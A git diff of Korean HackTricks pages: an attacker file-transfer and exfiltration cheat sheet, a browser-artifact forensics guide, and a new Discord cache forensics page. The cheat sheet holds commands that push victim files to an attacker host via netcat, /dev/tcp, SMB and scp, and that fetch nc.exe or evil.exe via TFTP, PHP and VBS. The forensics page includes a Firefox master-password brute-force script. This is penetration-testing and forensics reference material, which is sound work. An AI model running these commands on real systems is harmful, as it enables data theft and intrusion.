CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
|
||||
@ -175,13 +260,13 @@ WindPS-2> cd new_disk:
|
||||
```
|
||||
## SCP
|
||||
|
||||
공격자는 SSHd가 실행 중이어야 합니다.
|
||||
공격자는 SSHd가 실행 중이어야 한다.
|
||||
```bash
|
||||
scp <username>@<Attacker_IP>:<directory>/<filename>
|
||||
```
|
||||
## SSHFS
|
||||
|
||||
희생자가 SSH를 가지고 있다면, 공격자는 희생자의 디렉토리를 공격자에게 마운트할 수 있습니다.
|
||||
victim에 SSH가 있으면, attacker는 victim의 directory를 attacker로 mount할 수 있다.
|
||||
```bash
|
||||
sudo apt-get install sshfs
|
||||
sudo mkdir /mnt/sshfs
|
||||
@ -194,7 +279,7 @@ nc -vn <IP> 4444 < exfil_file
|
||||
```
|
||||
## /dev/tcp
|
||||
|
||||
### 피해자로부터 파일 다운로드
|
||||
### 피해자에서 파일 다운로드
|
||||
```bash
|
||||
nc -lvnp 80 > file #Inside attacker
|
||||
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
|
||||
@ -206,7 +291,7 @@ nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
|
||||
exec 6< /dev/tcp/10.10.10.10/4444
|
||||
cat <&6 > file.txt
|
||||
```
|
||||
**@BinaryShadow\_**에게 감사드립니다.
|
||||
감사합니다 **@BinaryShadow\_**
|
||||
|
||||
## **ICMP**
|
||||
```bash
|
||||
@ -228,33 +313,33 @@ sniff(iface="tun0", prn=process_packet)
|
||||
```
|
||||
## **SMTP**
|
||||
|
||||
SMTP 서버에 데이터를 보낼 수 있다면, 파이썬을 사용하여 데이터를 수신할 SMTP를 생성할 수 있습니다:
|
||||
데이터를 SMTP 서버로 보낼 수 있다면, python으로 데이터를 수신할 SMTP 서버를 만들 수 있습니다:
|
||||
```bash
|
||||
sudo python -m smtpd -n -c DebuggingServer :25
|
||||
```
|
||||
## TFTP
|
||||
|
||||
기본적으로 XP와 2003에서 (다른 버전에서는 설치 중에 명시적으로 추가해야 함)
|
||||
기본적으로 XP와 2003에는 포함되어 있습니다 (다른 버전에서는 설치 시 명시적으로 추가해야 합니다)
|
||||
|
||||
Kali에서, **TFTP 서버 시작**:
|
||||
Kali에서, **start TFTP server**:
|
||||
```bash
|
||||
#I didn't get this options working and I prefer the python option
|
||||
mkdir /tftp
|
||||
atftpd --daemon --port 69 /tftp
|
||||
cp /path/tp/nc.exe /tftp
|
||||
```
|
||||
**파이썬의 TFTP 서버:**
|
||||
**TFTP server (python으로):**
|
||||
```bash
|
||||
pip install ptftpd
|
||||
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
|
||||
```
|
||||
**희생자**에서 Kali 서버에 연결합니다:
|
||||
**victim**에서 Kali 서버에 연결하세요:
|
||||
```bash
|
||||
tftp -i <KALI-IP> get nc.exe
|
||||
```
|
||||
## PHP
|
||||
|
||||
PHP 원라이너로 파일 다운로드:
|
||||
PHP oneliner로 파일을 다운로드:
|
||||
```bash
|
||||
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
|
||||
```
|
||||
@ -262,7 +347,7 @@ echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', '
|
||||
```bash
|
||||
Attacker> python -m SimpleHTTPServer 80
|
||||
```
|
||||
**희생자**
|
||||
**피해자**
|
||||
```bash
|
||||
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
|
||||
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
|
||||
@ -296,13 +381,13 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
|
||||
```
|
||||
## Debug.exe
|
||||
|
||||
`debug.exe` 프로그램은 이진 파일을 검사할 수 있을 뿐만 아니라 **16진수에서 이진 파일을 재구성할 수 있는 기능**도 가지고 있습니다. 이는 이진 파일의 16진수를 제공함으로써 `debug.exe`가 이진 파일을 생성할 수 있음을 의미합니다. 그러나 `debug.exe`는 **최대 64kb 크기의 파일을 조립하는 제한**이 있다는 점에 유의해야 합니다.
|
||||
`debug.exe` 프로그램은 바이너리 검사뿐만 아니라 **hex에서 다시 빌드하는 기능**도 제공합니다. 즉, 바이너리의 hex를 제공하면 `debug.exe`가 해당 바이너리 파일을 생성할 수 있습니다. 다만, debug.exe는 **최대 64 kb까지의 파일만 어셈블할 수 있는 제한**이 있다는 점에 유의해야 합니다.
|
||||
```bash
|
||||
# Reduce the size
|
||||
upx -9 nc.exe
|
||||
wine exe2bat.exe nc.exe nc.txt
|
||||
```
|
||||
그런 다음 텍스트를 윈도우 셸에 복사하여 붙여넣으면 nc.exe라는 파일이 생성됩니다.
|
||||
그런 다음 해당 텍스트를 windows-shell에 복사해 붙여넣으면 nc.exe라는 파일이 생성됩니다.
|
||||
|
||||
- [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
|
||||
|
||||
@ -310,4 +395,10 @@ wine exe2bat.exe nc.exe nc.txt
|
||||
|
||||
- [https://github.com/Stratiz/DNS-Exfil](https://github.com/Stratiz/DNS-Exfil)
|
||||
|
||||
## 참고자료
|
||||
|
||||
- [Discord as a C2 and the cached evidence left behind](https://www.pentestpartners.com/security-blog/discord-as-a-c2-and-the-cached-evidence-left-behind/)
|
||||
- [Discord Webhooks – Execute Webhook](https://discord.com/developers/docs/resources/webhook#execute-webhook)
|
||||
- [Discord Forensic Suite (cache parser)](https://github.com/jwdfir/discord_cache_parser)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -4,55 +4,55 @@
|
||||
|
||||
## 브라우저 아티팩트 <a href="#id-3def" id="id-3def"></a>
|
||||
|
||||
브라우저 아티팩트는 탐색 기록, 북마크 및 캐시 데이터와 같은 웹 브라우저에 저장된 다양한 유형의 데이터를 포함합니다. 이러한 아티팩트는 운영 체제 내의 특정 폴더에 보관되며, 브라우저마다 위치와 이름이 다르지만 일반적으로 유사한 데이터 유형을 저장합니다.
|
||||
브라우저 아티팩트는 내비게이션 기록, 즐겨찾기, 캐시 데이터 등 웹 브라우저가 저장하는 다양한 유형의 데이터를 포함합니다. 이러한 아티팩트는 운영체제 내의 특정 폴더에 보관되며, 브라우저마다 위치와 이름이 다르지만 일반적으로 유사한 유형의 데이터를 저장합니다.
|
||||
|
||||
가장 일반적인 브라우저 아티팩트의 요약은 다음과 같습니다:
|
||||
다음은 가장 일반적인 브라우저 아티팩트의 요약입니다:
|
||||
|
||||
- **탐색 기록**: 사용자가 방문한 웹사이트를 추적하며, 악성 사이트 방문 식별에 유용합니다.
|
||||
- **자동 완성 데이터**: 자주 검색한 내용을 기반으로 한 제안으로, 탐색 기록과 결합할 때 통찰력을 제공합니다.
|
||||
- **북마크**: 사용자가 빠르게 접근하기 위해 저장한 사이트입니다.
|
||||
- **확장 프로그램 및 애드온**: 사용자가 설치한 브라우저 확장 프로그램 또는 애드온입니다.
|
||||
- **캐시**: 웹 콘텐츠(예: 이미지, JavaScript 파일)를 저장하여 웹사이트 로딩 시간을 개선하며, 포렌식 분석에 유용합니다.
|
||||
- **로그인 정보**: 저장된 로그인 자격 증명입니다.
|
||||
- **파비콘**: 웹사이트와 관련된 아이콘으로, 탭 및 북마크에 나타나며, 사용자 방문에 대한 추가 정보를 제공합니다.
|
||||
- **브라우저 세션**: 열린 브라우저 세션과 관련된 데이터입니다.
|
||||
- **다운로드**: 브라우저를 통해 다운로드한 파일의 기록입니다.
|
||||
- **양식 데이터**: 웹 양식에 입력된 정보로, 향후 자동 완성 제안을 위해 저장됩니다.
|
||||
- **썸네일**: 웹사이트의 미리보기 이미지입니다.
|
||||
- **Custom Dictionary.txt**: 사용자가 브라우저 사전에 추가한 단어입니다.
|
||||
- **Navigation History**: 사용자의 웹사이트 방문을 추적하며, 악성 사이트 방문 식별에 유용합니다.
|
||||
- **Autocomplete Data**: 자주 사용하는 검색을 기반으로 한 제안으로, 내비게이션 기록과 결합하면 유용한 통찰을 제공합니다.
|
||||
- **Bookmarks**: 사용자가 빠르게 접근하기 위해 저장한 사이트들입니다.
|
||||
- **Extensions and Add-ons**: 사용자가 설치한 브라우저 확장 또는 애드온입니다.
|
||||
- **Cache**: 웹 콘텐츠(예: 이미지, JavaScript 파일)를 저장하여 웹사이트 로딩 시간을 개선하며, 포렌식 분석에 가치가 있습니다.
|
||||
- **Logins**: 저장된 로그인 자격 증명입니다.
|
||||
- **Favicons**: 탭과 즐겨찾기에 표시되는 웹사이트 아이콘으로, 사용자의 방문에 대한 추가 정보를 제공할 수 있습니다.
|
||||
- **Browser Sessions**: 열린 브라우저 세션과 관련된 데이터입니다.
|
||||
- **Downloads**: 브라우저를 통해 다운로드한 파일의 기록입니다.
|
||||
- **Form Data**: 웹 폼에 입력된 정보로, 이후 자동 완성 제안을 위해 저장됩니다.
|
||||
- **Thumbnails**: 웹사이트의 미리보기 이미지입니다.
|
||||
- **Custom Dictionary.txt**: 사용자가 브라우저 사전에 추가한 단어들입니다.
|
||||
|
||||
## Firefox
|
||||
|
||||
Firefox는 사용자 데이터를 프로필 내에서 구성하며, 운영 체제에 따라 특정 위치에 저장됩니다:
|
||||
Firefox는 프로파일 내에 사용자 데이터를 구성하며, 운영체제에 따라 특정 위치에 저장됩니다:
|
||||
|
||||
- **Linux**: `~/.mozilla/firefox/`
|
||||
- **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
|
||||
- **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
|
||||
|
||||
이 디렉토리 내의 `profiles.ini` 파일은 사용자 프로필을 나열합니다. 각 프로필의 데이터는 `profiles.ini` 내의 `Path` 변수에 명시된 이름의 폴더에 저장되며, `profiles.ini`와 동일한 디렉토리에 위치합니다. 프로필 폴더가 누락된 경우 삭제되었을 수 있습니다.
|
||||
이 디렉터리들 안의 `profiles.ini` 파일은 사용자 프로파일을 나열합니다. 각 프로파일의 데이터는 `profiles.ini` 내 `Path` 변수에 명시된 이름의 폴더에 저장되며, 해당 폴더는 `profiles.ini`가 있는 동일한 디렉터리에 위치합니다. 프로파일 폴더가 없으면 삭제되었을 가능성이 있습니다.
|
||||
|
||||
각 프로필 폴더 내에서 여러 중요한 파일을 찾을 수 있습니다:
|
||||
각 프로파일 폴더 내에서 다음과 같은 중요한 파일들을 찾을 수 있습니다:
|
||||
|
||||
- **places.sqlite**: 기록, 북마크 및 다운로드를 저장합니다. Windows에서 [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html)와 같은 도구를 사용하여 기록 데이터를 접근할 수 있습니다.
|
||||
- 특정 SQL 쿼리를 사용하여 기록 및 다운로드 정보를 추출합니다.
|
||||
- **bookmarkbackups**: 북마크의 백업을 포함합니다.
|
||||
- **formhistory.sqlite**: 웹 양식 데이터를 저장합니다.
|
||||
- **places.sqlite**: 기록, 즐겨찾기, 다운로드를 저장합니다. Windows에서 [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) 같은 도구로 기록 데이터를 확인할 수 있습니다.
|
||||
- 특정 SQL 쿼리를 사용해 기록 및 다운로드 정보를 추출할 수 있습니다.
|
||||
- **bookmarkbackups**: 즐겨찾기 백업을 포함합니다.
|
||||
- **formhistory.sqlite**: 웹 폼 데이터를 저장합니다.
|
||||
- **handlers.json**: 프로토콜 핸들러를 관리합니다.
|
||||
- **persdict.dat**: 사용자 정의 사전 단어입니다.
|
||||
- **addons.json** 및 **extensions.sqlite**: 설치된 애드온 및 확장 프로그램에 대한 정보입니다.
|
||||
- **cookies.sqlite**: 쿠키 저장소로, Windows에서 [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html)를 사용하여 검사할 수 있습니다.
|
||||
- **cache2/entries** 또는 **startupCache**: 캐시 데이터로, [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html)와 같은 도구를 통해 접근할 수 있습니다.
|
||||
- **persdict.dat**: 사용자 지정 사전 단어들입니다.
|
||||
- **addons.json** 및 **extensions.sqlite**: 설치된 애드온 및 확장에 대한 정보입니다.
|
||||
- **cookies.sqlite**: 쿠키 저장소로, Windows에서는 [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html)로 검사할 수 있습니다.
|
||||
- **cache2/entries** 또는 **startupCache**: 캐시 데이터로, [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html) 같은 도구로 접근할 수 있습니다.
|
||||
- **favicons.sqlite**: 파비콘을 저장합니다.
|
||||
- **prefs.js**: 사용자 설정 및 기본 설정입니다.
|
||||
- **downloads.sqlite**: 이전 다운로드 데이터베이스로, 현재 places.sqlite에 통합되었습니다.
|
||||
- **prefs.js**: 사용자 설정 및 환경설정입니다.
|
||||
- **downloads.sqlite**: 이전의 다운로드 데이터베이스로, 현재는 places.sqlite에 통합되었습니다.
|
||||
- **thumbnails**: 웹사이트 썸네일입니다.
|
||||
- **logins.json**: 암호화된 로그인 정보입니다.
|
||||
- **key4.db** 또는 **key3.db**: 민감한 정보를 보호하기 위한 암호화 키를 저장합니다.
|
||||
|
||||
또한, 브라우저의 피싱 방지 설정을 확인하려면 `prefs.js`에서 `browser.safebrowsing` 항목을 검색하여 안전한 탐색 기능이 활성화되었는지 비활성화되었는지 확인할 수 있습니다.
|
||||
또한, 브라우저의 안티 피싱 설정은 `prefs.js`에서 `browser.safebrowsing` 항목을 검색하여 안전한 브라우징 기능이 활성화되었는지 여부를 확인할 수 있습니다.
|
||||
|
||||
마스터 비밀번호를 복호화하려면 [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\
|
||||
다음 스크립트와 호출을 사용하여 비밀번호 파일을 지정하여 무차별 대입 공격을 시도할 수 있습니다:
|
||||
마스터 비밀번호를 복호화하려 시도하려면 [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\
|
||||
다음 스크립트와 호출로 브루트포스에 사용할 비밀번호 파일을 지정할 수 있습니다:
|
||||
```bash:brute.sh
|
||||
#!/bin/bash
|
||||
|
||||
@ -67,63 +67,69 @@ done < $passfile
|
||||
|
||||
## Google Chrome
|
||||
|
||||
Google Chrome은 운영 체제에 따라 사용자 프로필을 특정 위치에 저장합니다:
|
||||
Google Chrome는 운영체제에 따라 사용자 프로필을 다음 위치에 저장합니다:
|
||||
|
||||
- **Linux**: `~/.config/google-chrome/`
|
||||
- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
|
||||
- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
|
||||
|
||||
이 디렉토리 내에서 대부분의 사용자 데이터는 **Default/** 또는 **ChromeDefaultData/** 폴더에 있습니다. 다음 파일들은 중요한 데이터를 포함하고 있습니다:
|
||||
이 디렉터리 내에서 대부분의 사용자 데이터는 **Default/** 또는 **ChromeDefaultData/** 폴더에서 찾을 수 있습니다. 다음 파일들이 중요한 데이터를 포함합니다:
|
||||
|
||||
- **History**: URL, 다운로드 및 검색 키워드를 포함합니다. Windows에서는 [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html)를 사용하여 기록을 읽을 수 있습니다. "Transition Type" 열은 링크 클릭, 입력된 URL, 양식 제출 및 페이지 새로 고침을 포함한 다양한 의미를 가집니다.
|
||||
- **Cookies**: 쿠키를 저장합니다. 검사를 위해 [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html)를 사용할 수 있습니다.
|
||||
- **Cache**: 캐시된 데이터를 보유합니다. 검사를 위해 Windows 사용자는 [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html)를 사용할 수 있습니다.
|
||||
- **Bookmarks**: 사용자 북마크.
|
||||
- **Web Data**: 양식 기록을 포함합니다.
|
||||
- **Favicons**: 웹사이트 파비콘을 저장합니다.
|
||||
- **Login Data**: 사용자 이름 및 비밀번호와 같은 로그인 자격 증명을 포함합니다.
|
||||
- **Current Session**/**Current Tabs**: 현재 브라우징 세션 및 열린 탭에 대한 데이터.
|
||||
- **Last Session**/**Last Tabs**: Chrome이 닫히기 전 마지막 세션 동안 활성 상태였던 사이트에 대한 정보.
|
||||
- **Extensions**: 브라우저 확장 및 애드온을 위한 디렉토리.
|
||||
- **Thumbnails**: 웹사이트 썸네일을 저장합니다.
|
||||
- **Preferences**: 플러그인, 확장, 팝업, 알림 등에 대한 설정을 포함한 정보가 풍부한 파일입니다.
|
||||
- **Browser’s built-in anti-phishing**: 안티 피싱 및 맬웨어 보호가 활성화되어 있는지 확인하려면 `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`를 실행합니다. 출력에서 `{"enabled: true,"}`를 찾습니다.
|
||||
- **History**: URL, 다운로드 및 검색 키워드를 포함합니다. Windows에서는 [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html)를 사용해 기록을 읽을 수 있습니다. "Transition Type" 열은 링크 클릭, 직접 입력한 URL, 폼 제출, 페이지 새로고침 등 다양한 의미를 가집니다.
|
||||
- **Cookies**: 쿠키를 저장합니다. 검사하려면 [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html)를 사용할 수 있습니다.
|
||||
- **Cache**: 캐시된 데이터를 보관합니다. 검사하려면 Windows 사용자는 [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html)를 사용할 수 있습니다.
|
||||
|
||||
Electron 기반 데스크톱 앱(예: Discord)도 Chromium Simple Cache를 사용하며 풍부한 디스크 상의 아티팩트를 남깁니다. 참조:
|
||||
|
||||
{{#ref}}
|
||||
discord-cache-forensics.md
|
||||
{{#endref}}
|
||||
- **Bookmarks**: 사용자 즐겨찾기.
|
||||
- **Web Data**: 폼 히스토리 포함.
|
||||
- **Favicons**: 웹사이트 파비콘 저장.
|
||||
- **Login Data**: 사용자 이름과 비밀번호 같은 로그인 자격 증명을 포함합니다.
|
||||
- **Current Session**/**Current Tabs**: 현재 브라우징 세션과 열린 탭에 대한 데이터.
|
||||
- **Last Session**/**Last Tabs**: Chrome 종료 직전 마지막 세션 동안 활성화된 사이트 정보.
|
||||
- **Extensions**: 브라우저 확장 및 애드온 디렉터리.
|
||||
- **Thumbnails**: 웹사이트 썸네일 저장.
|
||||
- **Preferences**: 플러그인, 확장, 팝업, 알림 등 설정을 포함한 많은 정보를 담고 있는 파일입니다.
|
||||
- **Browser’s built-in anti-phishing**: 안티 피싱 및 맬웨어 보호가 활성화되었는지 확인하려면 `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`를 실행하세요. 출력에서 `{"enabled: true,"}`를 찾으세요.
|
||||
|
||||
## **SQLite DB Data Recovery**
|
||||
|
||||
앞의 섹션에서 볼 수 있듯이, Chrome과 Firefox는 데이터를 저장하기 위해 **SQLite** 데이터베이스를 사용합니다. 삭제된 항목을 **복구할 수 있는 도구** [**sqlparse**](https://github.com/padfoot999/sqlparse) **또는** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases)를 사용할 수 있습니다.
|
||||
앞의 섹션에서 알 수 있듯이 Chrome과 Firefox는 데이터를 저장하기 위해 **SQLite** 데이터베이스를 사용합니다. [**sqlparse**](https://github.com/padfoot999/sqlparse) 또는 [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases) 도구를 사용하여 삭제된 항목을 복구할 수 있습니다.
|
||||
|
||||
## **Internet Explorer 11**
|
||||
|
||||
Internet Explorer 11은 다양한 위치에서 데이터와 메타데이터를 관리하여 저장된 정보와 해당 세부 정보를 쉽게 접근하고 관리할 수 있도록 돕습니다.
|
||||
Internet Explorer 11은 데이터와 메타데이터를 여러 위치에 걸쳐 관리하여 저장된 정보와 해당 세부 정보를 분리해 쉽게 접근하고 관리할 수 있도록 합니다.
|
||||
|
||||
### Metadata Storage
|
||||
|
||||
Internet Explorer의 메타데이터는 `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data`에 저장됩니다 (VX는 V01, V16 또는 V24). 이와 함께 `V01.log` 파일은 `WebcacheVX.data`와의 수정 시간 불일치를 보여줄 수 있으며, 이는 `esentutl /r V01 /d`를 사용하여 수리할 필요가 있음을 나타냅니다. 이 메타데이터는 ESE 데이터베이스에 저장되며, photorec 및 [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html)와 같은 도구를 사용하여 복구하고 검사할 수 있습니다. **Containers** 테이블 내에서 각 데이터 세그먼트가 저장된 특정 테이블 또는 컨테이너를 식별할 수 있으며, Skype와 같은 다른 Microsoft 도구의 캐시 세부 정보도 포함됩니다.
|
||||
Internet Explorer의 메타데이터는 %userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data에 저장됩니다 (VX는 V01, V16 또는 V24). 이와 함께 `V01.log` 파일은 `WebcacheVX.data`와 수정 시간에 불일치가 보일 수 있으며, 이 경우 `esentutl /r V01 /d`로 복구가 필요함을 나타냅니다. 이 메타데이터는 ESE 데이터베이스에 저장되어 있으며 photorec 및 [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) 같은 도구로 복구 및 검사할 수 있습니다. **Containers** 테이블에서는 각 데이터 조각이 저장된 특정 테이블이나 컨테이너(예: Skype와 같은 다른 Microsoft 도구의 캐시 세부사항)를 확인할 수 있습니다.
|
||||
|
||||
### Cache Inspection
|
||||
|
||||
[IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) 도구를 사용하여 캐시를 검사할 수 있으며, 캐시 데이터 추출 폴더 위치가 필요합니다. 캐시의 메타데이터에는 파일 이름, 디렉토리, 접근 횟수, URL 출처 및 캐시 생성, 접근, 수정 및 만료 시간을 나타내는 타임스탬프가 포함됩니다.
|
||||
[IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) 도구를 사용하면 캐시를 검사할 수 있으며, 캐시 데이터 추출 폴더 위치가 필요합니다. 캐시 메타데이터에는 파일 이름, 디렉터리, 접근 횟수, URL 출처 및 캐시 생성, 접근, 수정, 만료 시간을 나타내는 타임스탬프가 포함됩니다.
|
||||
|
||||
### Cookies Management
|
||||
|
||||
쿠키는 [IECookiesView](https://www.nirsoft.net/utils/iecookies.html)를 사용하여 탐색할 수 있으며, 메타데이터에는 이름, URL, 접근 횟수 및 다양한 시간 관련 세부 정보가 포함됩니다. 지속적인 쿠키는 `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`에 저장되며, 세션 쿠키는 메모리에 존재합니다.
|
||||
쿠키는 [IECookiesView](https://www.nirsoft.net/utils/iecookies.html)로 탐색할 수 있으며 메타데이터에는 이름, URL, 접근 횟수 및 다양한 시간 관련 정보가 포함됩니다. 영구 쿠키는 %userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies에 저장되며 세션 쿠키는 메모리에 존재합니다.
|
||||
|
||||
### Download Details
|
||||
|
||||
다운로드 메타데이터는 [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html)를 통해 접근할 수 있으며, 특정 컨테이너는 URL, 파일 유형 및 다운로드 위치와 같은 데이터를 보유합니다. 물리적 파일은 `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` 아래에서 찾을 수 있습니다.
|
||||
[ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html)로 다운로드 메타데이터에 접근할 수 있으며, 특정 컨테이너에는 URL, 파일 형식, 다운로드 위치 같은 데이터가 들어 있습니다. 실제 파일은 %userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory에 있습니다.
|
||||
|
||||
### Browsing History
|
||||
|
||||
브라우징 기록을 검토하려면 [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html)를 사용할 수 있으며, 추출된 기록 파일의 위치와 Internet Explorer에 대한 구성이 필요합니다. 여기의 메타데이터에는 수정 및 접근 시간과 접근 횟수가 포함됩니다. 기록 파일은 `%userprofile%\Appdata\Local\Microsoft\Windows\History`에 위치합니다.
|
||||
브라우징 기록을 검토하려면 [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html)를 사용할 수 있으며, 추출한 히스토리 파일의 위치와 Internet Explorer 구성을 지정해야 합니다. 여기의 메타데이터에는 수정 및 접근 시간과 접근 횟수가 포함됩니다. 히스토리 파일은 %userprofile%\Appdata\Local\Microsoft\Windows\History에 있습니다.
|
||||
|
||||
### Typed URLs
|
||||
|
||||
입력된 URL 및 사용 시간은 `NTUSER.DAT`의 `Software\Microsoft\InternetExplorer\TypedURLs` 및 `Software\Microsoft\InternetExplorer\TypedURLsTime` 레지스트리에 저장되어 있으며, 사용자가 입력한 마지막 50개의 URL과 마지막 입력 시간을 추적합니다.
|
||||
입력된 URL과 사용 시간은 NTUSER.DAT의 레지스트리 하위 키 Software\Microsoft\InternetExplorer\TypedURLs 및 Software\Microsoft\InternetExplorer\TypedURLsTime에 저장되며, 사용자가 입력한 마지막 50개의 URL과 마지막 입력 시간을 추적합니다.
|
||||
|
||||
## Microsoft Edge
|
||||
|
||||
Microsoft Edge는 사용자 데이터를 `%userprofile%\Appdata\Local\Packages`에 저장합니다. 다양한 데이터 유형에 대한 경로는 다음과 같습니다:
|
||||
Microsoft Edge는 사용자 데이터를 %userprofile%\Appdata\Local\Packages에 저장합니다. 다양한 데이터 유형의 경로는 다음과 같습니다:
|
||||
|
||||
- **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
|
||||
- **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
|
||||
@ -135,22 +141,22 @@ Microsoft Edge는 사용자 데이터를 `%userprofile%\Appdata\Local\Packages`
|
||||
|
||||
Safari 데이터는 `/Users/$User/Library/Safari`에 저장됩니다. 주요 파일은 다음과 같습니다:
|
||||
|
||||
- **History.db**: `history_visits` 및 `history_items` 테이블에 URL 및 방문 타임스탬프가 포함되어 있습니다. 쿼리를 위해 `sqlite3`를 사용합니다.
|
||||
- **History.db**: history_visits 및 history_items 테이블에 URL과 방문 타임스탬프가 포함되어 있습니다. 쿼리하려면 sqlite3를 사용하세요.
|
||||
- **Downloads.plist**: 다운로드된 파일에 대한 정보.
|
||||
- **Bookmarks.plist**: 북마크된 URL을 저장합니다.
|
||||
- **Bookmarks.plist**: 즐겨찾기 URL 저장.
|
||||
- **TopSites.plist**: 가장 자주 방문한 사이트.
|
||||
- **Extensions.plist**: Safari 브라우저 확장 목록. `plutil` 또는 `pluginkit`을 사용하여 검색합니다.
|
||||
- **UserNotificationPermissions.plist**: 푸시 알림을 허용하는 도메인. `plutil`을 사용하여 구문 분석합니다.
|
||||
- **LastSession.plist**: 마지막 세션의 탭. `plutil`을 사용하여 구문 분석합니다.
|
||||
- **Browser’s built-in anti-phishing**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites`를 사용하여 확인합니다. 1의 응답은 기능이 활성화되어 있음을 나타냅니다.
|
||||
- **Extensions.plist**: Safari 브라우저 확장 목록. 검색하려면 `plutil` 또는 `pluginkit`을 사용하세요.
|
||||
- **UserNotificationPermissions.plist**: 알림을 보낼 수 있도록 허용된 도메인. `plutil`로 파싱하세요.
|
||||
- **LastSession.plist**: 마지막 세션의 탭 정보. `plutil`로 파싱하세요.
|
||||
- **Browser’s built-in anti-phishing**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites`를 사용해 확인합니다. 출력이 1이면 기능이 활성화된 것입니다.
|
||||
|
||||
## Opera
|
||||
|
||||
Opera의 데이터는 `/Users/$USER/Library/Application Support/com.operasoftware.Opera`에 위치하며, 기록 및 다운로드에 대한 Chrome의 형식을 공유합니다.
|
||||
Opera의 데이터는 `/Users/$USER/Library/Application Support/com.operasoftware.Opera`에 저장되며 히스토리 및 다운로드 형식은 Chrome과 동일합니다.
|
||||
|
||||
- **Browser’s built-in anti-phishing**: `grep`을 사용하여 Preferences 파일에서 `fraud_protection_enabled`가 `true`로 설정되어 있는지 확인합니다.
|
||||
- **Browser’s built-in anti-phishing**: Preferences 파일에서 `fraud_protection_enabled`가 `true`로 설정되어 있는지 `grep`으로 확인하세요.
|
||||
|
||||
이 경로와 명령은 다양한 웹 브라우저에 저장된 브라우징 데이터에 접근하고 이해하는 데 중요합니다.
|
||||
이 경로들과 명령들은 다양한 웹 브라우저가 저장하는 브라우징 데이터를 접근하고 이해하는 데 중요합니다.
|
||||
|
||||
## References
|
||||
|
||||
@ -159,4 +165,5 @@ Opera의 데이터는 `/Users/$USER/Library/Application Support/com.operasoftwar
|
||||
- [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file)
|
||||
- **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123**
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -0,0 +1,89 @@
|
||||
# Discord 캐시 포렌식 (Chromium Simple Cache)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
이 페이지는 Discord Desktop 캐시 아티팩트를 신속 분석하여 유출된 파일, webhook 엔드포인트, 활동 타임라인을 복구하는 방법을 요약합니다. Discord Desktop은 Electron/Chromium 앱이며 디스크에 Chromium Simple Cache를 사용합니다.
|
||||
|
||||
## Where to look (Windows/macOS/Linux)
|
||||
|
||||
- Windows: %AppData%\discord\Cache\Cache_Data
|
||||
- macOS: ~/Library/Application Support/discord/Cache/Cache_Data
|
||||
- Linux: ~/.config/discord/Cache/Cache_Data
|
||||
|
||||
Cache_Data 내부의 주요 온디스크 구조:
|
||||
- index: Simple Cache index database
|
||||
